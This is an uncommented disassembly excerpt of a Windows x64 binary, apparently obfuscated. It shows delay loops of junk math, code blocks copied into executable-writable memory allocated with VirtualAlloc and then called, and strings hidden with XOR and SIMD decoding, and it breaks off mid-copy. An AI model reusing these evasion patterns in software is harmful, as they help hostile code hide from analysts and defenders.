mov dword [rsp + 0x30], r12d
xorps xmm7, xmm7
movsd qword [rsp + 0x38], xmm7
lea rcx, [rbp + 0xa8]
call fcn.140001770
mov rax, qword [rbp + 0xa8]
add rax, 0x5f5e100
mov qword [rbp - 0x18], rax
lea rcx, [rbp + 0x3f8]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f8], xmm0
mov qword [rbp + 0x408], r12
lea rcx, [rbp + 0xb0]
call fcn.14001d7c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x48]
call fcn.14001b770
nop
lea rcx, [rbp + 0xb0]
call fcn.14001b770
lea rcx, [rbp + 0xb8]
call fcn.14001d810
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x40], rcx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x40]
call fcn.14001b770
nop
lea rcx, [rbp + 0xb8]
call fcn.14001b770
lea rcx, [rbp + 0xc0]
call fcn.14001d840
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x38], rcx
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x38]
call fcn.14001b770
nop
lea rcx, [rbp + 0xc0]
call fcn.14001b770
lea rcx, [rbp + 0xc8]
call fcn.14001d870
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x30], rcx
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x30]
call fcn.14001b770
nop
lea rcx, [rbp + 0xc8]
call fcn.14001b770
lea rcx, [rbp + 0xd0]
call fcn.14001d8a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x28], rcx
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x28]
call fcn.14001b770
nop
lea rcx, [rbp + 0xd0]
call fcn.14001b770
lea rcx, [rbp + 0xd8]
call fcn.14001d8d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x20], rcx
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x3f8]
call fcn.14001b790
nop
lea rcx, [rbp - 0x20]
call fcn.14001b770
nop
lea rcx, [rbp + 0xd8]
call fcn.14001b770
lea rcx, [rbp + 0xe0]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x18]
call fcn.140002690
test al, al
jns 0x140011545
lea rax, [rbp + 0x3b0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x19e0]
mov qword [rsp + 0x58], rax
movaps xmm6, xmmword [rsp + 0x50]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov rbx, qword [rbp + 0x400]
sub rbx, qword [rbp + 0x3f8]
sar rbx, 3
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x3f8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
movaps xmm5, xmm0
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x5e8]
call fcn.14001c7f0
nop
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x5e8]
call fcn.1400024b0
lea rcx, [rbp + 0x4b8]
call fcn.1400026e0
lea rcx, [rbp + 0x4b8]
call fcn.14001b950
nop
movdqa xmmword [rbp + 0x290], xmm6
lea r8, [rbp + 0x290]
mov rdx, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4b8]
call fcn.14001d980
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x4b8]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4b8]
call fcn.14001d9e0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov ebx, eax
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140011418
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
test eax, eax
jne 0x14001143b
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001144a
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x19e0]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x19e0]
test bl, 1
jne 0x1400114c5
lea rcx, [rbp + 0x3b0]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400114e6
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x3d0]
call fcn.14001d900
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140011460
sub rdi, 1
jne 0x140011450
lea rcx, [rbp + 0x4b8]
call fcn.14001b8f0
nop
lea rcx, [rbp + 0x5e8]
call fcn.14001c780
sub rsi, 1
jne 0x140011230
lea rcx, [rbp + 0xe0]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x18]
call fcn.140002690
test al, al
js 0x140011220
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x3f8]
call fcn.14001b7c0
mov dword [rsp + 0x64], 0x96
lea rcx, [rbp + 0x518]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x518]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140036630]
test rax, rax
je 0x1400115b9
nop dword [rax]
cmp rax, r13
je 0x1400115a6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x36630]
test rax, rax
jne 0x140011590
jmp 0x1400115b9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x382b0]
test r8, r8
jne 0x14001169f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400115e0
mov r8, r12
jmp 0x14001167e
mov rax, r13
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400115f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140036fa0]
mov qword [rdi + rax*8 + 0x36630], r13
mov qword [rdi + rax*8 + 0x382b0], r8
inc rax
mov qword [0x140036fa0], rax
lea rdx, [rsp + 0x64]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x518]
xor rcx, qword [rbp + 0x520]
mov qword [rbp + 0x518], rcx
mov rax, qword [rbp + 0x528]
mov qword [rax], rcx
movups xmm0, xmmword [str.nk_QQ_a]
movups xmmword [rbp + 0x210], xmm0
movsd xmm0, qword [0x14002bb58]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x14002bb60]
mov dword [rbp + 0x228], eax
movzx eax, word [0x14002bb64]
mov word [rbp + 0x22c], ax
lea rcx, [rbp + 0x530]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x530]
call fcn.1400026f0
nop
mov ecx, r12d
lea rbx, [0x14001e2a0]
mov rax, qword [0x140037c40]
test rax, rax
je 0x140011769
nop dword [rax]
cmp rax, rbx
je 0x140011756
inc ecx
mov rax, qword [rdi + rcx*8 + 0x37c40]
test rax, rax
jne 0x140011740
jmp 0x140011769
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x385d0]
test r8, r8
jne 0x14001184f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011790
mov r8, r12
jmp 0x14001182e
mov rax, rbx
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400117a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037f60]
mov qword [rdi + rax*8 + 0x37c40], rbx
mov qword [rdi + rax*8 + 0x385d0], r8
inc rax
mov qword [0x140037f60], rax
lea rdx, [rbp + 0x210]
lea rcx, [0x14000c300]
call r8
nop
mov rcx, qword [rbp + 0x530]
xor rcx, qword [rbp + 0x538]
mov qword [rbp + 0x530], rcx
mov rax, qword [rbp + 0x540]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2d70]
call fcn.14001b880
mov dword [rbp + 0x3b8], 0xffffff9c
mov dword [rbp + 0x3bc], 0x64
movaps xmm0, xmmword [0x14002c750]
movups xmmword [rbp + 0x478], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rbp + 0xe8]
call fcn.140001770
mov rax, qword [rbp + 0xe8]
add rax, 0x5f5e100
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x410]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r12
lea rcx, [rbp + 0xf0]
call fcn.14001d7c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp - 0x10]
call fcn.14001b770
nop
lea rcx, [rbp + 0xf0]
call fcn.14001b770
lea rcx, [rbp + 0xf8]
call fcn.14001d810
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 8], rcx
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp - 8]
call fcn.14001b770
nop
lea rcx, [rbp + 0xf8]
call fcn.14001b770
lea rcx, [rbp + 0x100]
call fcn.14001d840
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp], rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp]
call fcn.14001b770
nop
lea rcx, [rbp + 0x100]
call fcn.14001b770
lea rcx, [rbp + 0x108]
call fcn.14001d870
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 8], rcx
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp + 8]
call fcn.14001b770
nop
lea rcx, [rbp + 0x108]
call fcn.14001b770
lea rcx, [rbp + 0x110]
call fcn.14001d8a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp + 0x10]
call fcn.14001b770
nop
lea rcx, [rbp + 0x110]
call fcn.14001b770
lea rcx, [rbp + 0x118]
call fcn.14001d8d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x410]
call fcn.14001b790
nop
lea rcx, [rbp + 0x18]
call fcn.14001b770
nop
lea rcx, [rbp + 0x118]
call fcn.14001b770
lea rcx, [rbp + 0x120]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp + 0x20]
call fcn.140002690
test al, al
jns 0x140011dd5
lea rax, [rbp + 0x3b8]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2d70]
mov qword [rsp + 0x58], rax
movaps xmm6, xmmword [rsp + 0x50]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov rbx, qword [rbp + 0x418]
sub rbx, qword [rbp + 0x410]
sar rbx, 3
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x410]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x478]
call fcn.14001d900
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x478]
call fcn.14001d900
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x478]
call fcn.14001d900
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x478]
call fcn.14001d900
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x608]
call fcn.14001c7f0
nop
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x608]
call fcn.1400024b0
lea rcx, [rbp + 0x4a0]
call fcn.1400026e0
lea rcx, [rbp + 0x4a0]
call fcn.14001b950
nop
movdqa xmmword [rbp + 0x270], xmm6
lea r8, [rbp + 0x270]
mov rdx, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x4a0]
call fcn.14001d980
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x4a0]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4a8]
mov rcx, qword [rbp + 0x4a0]
call fcn.14001d9e0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov ebx, eax
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140011ca8
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
test eax, eax
jne 0x140011ccb
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011cda
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x2d70]
lea rcx, [rbp + 0x478]
call fcn.14001d900
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x2d70]
test bl, 1
jne 0x140011d55
lea rcx, [rbp + 0x3b8]
call fcn.14001d6c0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011d76
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x478]
call fcn.14001d900
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140011cf0
sub rdi, 1
jne 0x140011ce0
lea rcx, [rbp + 0x4a0]
call fcn.14001b8f0
nop
lea rcx, [rbp + 0x608]
call fcn.14001c780
sub rsi, 1
jne 0x140011ac0
lea rcx, [rbp + 0x120]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp + 0x20]
call fcn.140002690
test al, al
js 0x140011ab0
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x410]
call fcn.14001b7c0
mov dword [rsp + 0x48], 0x320
lea rcx, [rbp + 0x548]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x548]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140036630]
test rax, rax
je 0x140011e49
nop dword [rax]
cmp rax, r13
je 0x140011e36
inc ecx
mov rax, qword [rdi + rcx*8 + 0x36630]
test rax, rax
jne 0x140011e20
jmp 0x140011e49
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x382b0]
test r8, r8
jne 0x140011f2f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011e70
mov r8, r12
jmp 0x140011f0e
mov rax, r13
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011e80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140036fa0]
mov qword [rdi + rax*8 + 0x36630], r13
mov qword [rdi + rax*8 + 0x382b0], r8
inc rax
mov qword [0x140036fa0], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x548]
xor rcx, qword [rbp + 0x550]
mov qword [rbp + 0x548], rcx
mov rax, qword [rbp + 0x558]
mov qword [rax], rcx
mov rax, qword [0x14002c330]
mov qword [rsp + 0x40], rax
cmp byte [0x14002c337], 0
je 0x1400121c4
cmp r14d, 2
jl 0x140012168
movdqa xmm7, xmmword [0x14002c740]
mov r13d, 4
movd xmm8, r13d
movdqa xmm9, xmmword [0x14002c770]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x14002c6d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002c700]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002c6f0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x14002c730]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x40]
pxor xmm3, xmm1
movd dword [rsp + 0x40], xmm3
movdqa xmm5, xmmword [0x14002c6e0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14002c700]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002c720]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14002c6f0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002c720]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x44]
pxor xmm3, xmm1
movd dword [rsp + 0x44], xmm3
xorps xmm7, xmm7
jmp 0x1400121ca
lea r10, [rsp + 0x40]
mov r9d, r12d
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x288df0cb
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub r8b, cl
add r8b, 0x1d
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x140012170
mov r13d, 4
lea r8, [rbp + 0x5a8]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x350]
call fcn.14001e230
nop
mov rcx, rax
call fcn.14001c640
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x560]
call fcn.1400026e0
lea rdx, [rbp + 0x5568]
lea rcx, [rbp + 0x560]
call fcn.1400026f0
nop
mov ecx, r12d
mov rax, qword [0x140039590]
lea rbx, [0x14001dd70]
test rax, rax
je 0x140012251
cmp rax, rbx
je 0x14001223e
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39590]
test rax, rax
jne 0x140012228
jmp 0x140012251
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x37920]
test r8, r8
jne 0x140012330
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012278
mov r8, r12
jmp 0x14001230f
mov rax, rbx
mov rcx, r8
mov rdx, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012281
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
